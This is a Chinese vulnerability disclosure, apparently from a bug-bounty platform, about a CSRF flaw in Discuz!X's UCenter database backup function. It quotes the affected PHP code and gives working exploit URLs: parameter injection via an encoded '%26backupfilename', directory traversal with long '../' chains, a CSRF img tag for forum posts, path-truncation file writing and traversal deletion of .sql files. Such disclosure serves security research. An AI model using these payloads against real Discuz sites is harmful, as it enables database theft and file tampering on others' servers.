### 简要描述: Discuz!x 一个为所欲为的csrf(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪) 求闪电!!!!!!!!!!!!!! ### 详细说明: 此漏洞来自dz公司的ucenter,这个ucenter,应该是在数据库备份操作时候,没有做csrf防御可导致dz被文件操作,脱裤等等,开始分析: [<img src="https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png" alt="30.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png) 下来我们分析代码: uc_server\control\admin\db.php:(85-ll6行): ``` function onoperate() { require_once UC_ROOT.'lib/xml.class.php'; $nexturl = getgpc('nexturl'); $appid = intval(getgpc('appid')); $type = getgpc('t') == 'import' ? 'import' : 'export'; $backupdir = getgpc('backupdir'); $app = $this->cache['apps'][$appid]; if($nexturl) { $url = $nexturl; } else { if($appid) { if(!isset($this->cache['apps'][$appid])) { $this->message($this->_parent_js($appid, 'appid_invalid')); } if($app['type'] == 'DISCUZX') { $url = $app['url'].'/api/db/dbbak.php?apptype='.$app['type']; } else { $url =...
### 简要描述: Discuz!x 一个为所欲为的csrf(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪) 求闪电!!!!!!!!!!!!!! ### 详细说明: 此漏洞来自dz公司的ucenter,这个ucenter,应该是在数据库备份操作时候,没有做csrf防御可导致dz被文件操作,脱裤等等,开始分析: [<img src="https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png" alt="30.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14212930827f8c6570946b086714cccbee5aaa7e.png) 下来我们分析代码: uc_server\control\admin\db.php:(85-ll6行): ``` function onoperate() { require_once UC_ROOT.'lib/xml.class.php'; $nexturl = getgpc('nexturl'); $appid = intval(getgpc('appid')); $type = getgpc('t') == 'import' ? 'import' : 'export'; $backupdir = getgpc('backupdir'); $app = $this->cache['apps'][$appid]; if($nexturl) { $url = $nexturl; } else { if($appid) { if(!isset($this->cache['apps'][$appid])) { $this->message($this->_parent_js($appid, 'appid_invalid')); } if($app['type'] == 'DISCUZX') { $url = $app['url'].'/api/db/dbbak.php?apptype='.$app['type']; } else { $url = $app['url'].'/api/dbbak.php?apptype='.$app['type']; } $code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', $app['authkey']); } else { $url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER'; $code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY); } $url .= '&code='.urlencode($code); } if(empty($appid)) { $app['ip'] = defined('UC_IP') ? UC_IP : ''; } $res = $_ENV['misc']->dfopen2($url, 0, '', '', 1, $app['ip'], 20, TRUE); if(empty($res)) { $this->message($this->_parent_js($appid, 'db_back_api_url_invalid')); ``` 这里的意思就是,当你发送一个get请求之后,然后php内部通过fopen完成剩下的所有动作,漏洞产生在哪里呢: ``` $url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER'; $code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY); ``` 看到这两句了没有,举个例子吧: 我们提交的http请求如果是: http://site.com/index.php?a=1&b=2 那么当我们b传递进来的时候重新二次构造url,如果我们的b=xxxx%26backupfilename%3Daaaa 这里时候等于在内部通过fopen发送get请求时候后面多添加了一个参数交个backupfilename=aaaa 看到这个解释,就恍然大悟了吧,肯定后面有怎么设置backupfilename,本来这里是不会被用户更改的,这样已设置,我们备份的文件名字可控了,直接可以拿到,在看代码: uc_server\api\dbbak.php:(255-334): ``` if($get['method'] == 'export') { $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT'); $time = date("Y-m-d H:i:s", $timestamp); $tables = array(); $tables = arraykeys2(fetchtablelist($tablepre), 'Name'); if($apptype == 'discuz') { $query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''"); while($plugin = $db->fetch_array($query)) { foreach(explode(',', $plugin['datatables']) as $table) { if($table = trim($table)) { $tables[] = $table; } } } } $get['volume'] = isset($get['volume']) ? intval($get['volume']) : 0; $get['volume'] = $get['volume'] + 1; $version = $version ? $version : $apptype; $idstring = '# Identify: '.base64_encode("$timestamp,$version,$apptype,multivol,$get[volume]")."\n"; if(!isset($get['sqlpath']) || empty($get['sqlpath'])) { $get['sqlpath'] = 'backup_'.date('ymd', $timestamp).'_'.random(6); if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) { api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']); } } elseif(!is_dir(BACKUP_DIR.'./'.$get['sqlpath'])) { if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) { api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']); } } if(!isset($get['backupfilename']) || empty($get['backupfilename'])) { $get['backupfilename'] = date('ymd', $timestamp).'_'.random(6); } $sqldump = ''; $get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0; $get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0; $complete = TRUE; for(; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) { $sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump)); if($complete) { $get['startfrom'] = 0; } } !$complete && $get['tableid']--; $dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql'; if(trim($sqldump)) { $sqldump = "$idstring". "# <?php exit();?>\n". "# $apptype Multi-Volume Data Dump Vol.$get[volume]\n". "# Time: $time\n". "# Type: $apptype\n". "# Table Prefix: $tablepre\n". "# $dbcharset\n". "# $apptype Home: http://www.comsenz.com\n". "# Please visit our website for newest infomation about $apptype\n". "# --------------------------------------------------------\n\n\n". $sqldump; @$fp = fopen($dumpfile, 'wb'); @flock($fp, 2); if(@!fwrite($fp, $sqldump)) { @fclose($fp); api_msg('database_export_file_invalid', $dumpfile); } else { fclose($fp); auto_next($get, $dumpfile); } } else { @touch(ROOT_PATH.$get['sqlpath'].'/index.htm'); api_msg('explor_success', 'explor_success'); } ``` 我们主要看着一句: ``` if(!isset($get['backupfilename']) || empty($get['backupfilename'])) { $get['backupfilename'] = date('ymd', $timestamp).'_'.random(6); } ``` 刚才我们举例子了,按照这个逻辑走那么我们就会绕过去,不会在这里创建一个6个字符的随机数文件名 这里为了举例子,我们摘出来其中一部分sql备份: url:http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa 按照程序的逻辑,这句话的意思就是在xxxx目录底下备份一个aaaa-1.sql 我们访问一下: [<img src="https://images.seebug.org/upload/201409/142141222459e1aa93ee5fc7a43ce006f2156ae3.png" alt="31.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/142141222459e1aa93ee5fc7a43ce006f2156ae3.png) 我们去这个目录看看是否已经生成备份文件: [<img src="https://images.seebug.org/upload/201409/14214248c1869dc95e8ea35866fd2fe34778a890.png" alt="32.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14214248c1869dc95e8ea35866fd2fe34778a890.png) 有了这个我们害怕什么,很简单的一个get csrf,这时候我们在论坛发送一个img <img src=http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa> 一切都搞定......关于这里怎么利用,方法太多了 下来我们看第二个漏洞目录穿越: 这里的backupdir 居然没有做任何限制,所以我们可以再操作系统内部随意创建文件夹 并且把备份的文件给写入进去,想想都可怕,如果dz的数据库非常强大,我这里只要一个死循环,分分钟让硬盘爆满: url:http://192.168.10.70/discuz_x3.2_sc_utf8https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=../../../../../../../../../../../../../../../../../xxxx 这时候我们去根目录看看: [<img src="https://images.seebug.org/upload/201409/14214706b913726ebf43a40c7e5063124e25eef7.png" alt="33.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14214706b913726ebf43a40c7e5063124e25eef7.png) 有人说gpc开着那么我们就没有办法阶段这一句代码: ``` !$complete && $get['tableid']--; $dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql'; ``` 说的一点都没有错,因为我们这个$get['backupfilename']是完全可控的,如果我们发送%00这里会被gpc转义为\0不会被截短,但是在linux底下就不一样了,每个文件达到一定长度时候它自然就被截断了,举个例子: ``` $a=''; for($i=0;$i<=4071;$i++) { $a .= '/'; } $a = 'test.txt'.$a; //完整的路径为/var/www/test/test.txt require_once($a.'.php'); ?> ``` 在Linux环境下测试,你会发现'.php'被截断了.这时候我们就可以写一个php文件了,不做演示了,主要漏洞点演示完毕 下来我们再看一个文件删除的地方: ``` elseif($get['method'] == 'delete') { $sqlpath = trim($get['sqlpath']); if(empty($sqlpath) || !is_dir(BACKUP_DIR.$sqlpath)) { api_msg('dir_no_exists', $sqlpath); } $directory = dir(BACKUP_DIR.$sqlpath); while($entry = $directory->read()) { $filename = BACKUP_DIR.$sqlpath.'/'.$entry; if(is_file($filename) && preg_match('/\d+_\w+\-(\d+).sql$/', $filename) && !@unlink($filename)) { api_msg('delete_dumpfile_error', $filename); } } $directory->close(); @rmdir(BACKUP_DIR.$sqlpath); api_msg('delete_sqlpath_success', 'delete_sqlpath_success'); } ``` 这里的逻辑就是删除某个目录底下的以sql后缀的文件,然后删除改文件夹,当然了这个文件夹如果是空的,那么我也就直接删除,非空是删不掉的 由于$sqlpath 路径完全可控,所以导致,可以再某一个盘符底下任意穿越删除sql文件,不管你是其他备份的还是这里自己生成的一概删掉 反正有了这个fopen的参数污染bug,那么应该还有好多地方存在问题,这里就不一一说了 再付最后一张图: [<img src="https://images.seebug.org/upload/201409/14220051ae8032360ea6b55931c3bb6d13f21be7.png" alt="34.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/14220051ae8032360ea6b55931c3bb6d13f21be7.png) [<img src="https://images.seebug.org/upload/201409/142201007806a0ae2d735f561b9a357640dbc7dc.png" alt="35.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/142201007806a0ae2d735f561b9a357640dbc7dc.png) 这些 我想就不用分析了吧,都是嵌入应用......... ok ### 漏洞证明: